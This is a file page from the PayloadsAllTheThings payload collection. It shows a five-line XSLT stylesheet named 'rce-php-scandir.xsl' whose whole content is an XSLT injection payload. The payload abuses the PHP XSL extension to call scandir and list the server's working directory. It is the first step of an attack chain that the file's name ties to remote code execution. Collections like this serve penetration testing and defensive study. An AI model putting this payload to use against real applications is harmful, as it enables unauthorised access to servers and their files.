PayloadsAllTheThings/XSLT Injection/Files/rce-php-scandir.xsl

5 lines
245 B
XML
Raw Normal View History

2024-05-30 22:07:21 +00:00
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:value-of name="assert" select="php:function('scandir', '.')"/>
</xsl:template>
</xsl:stylesheet>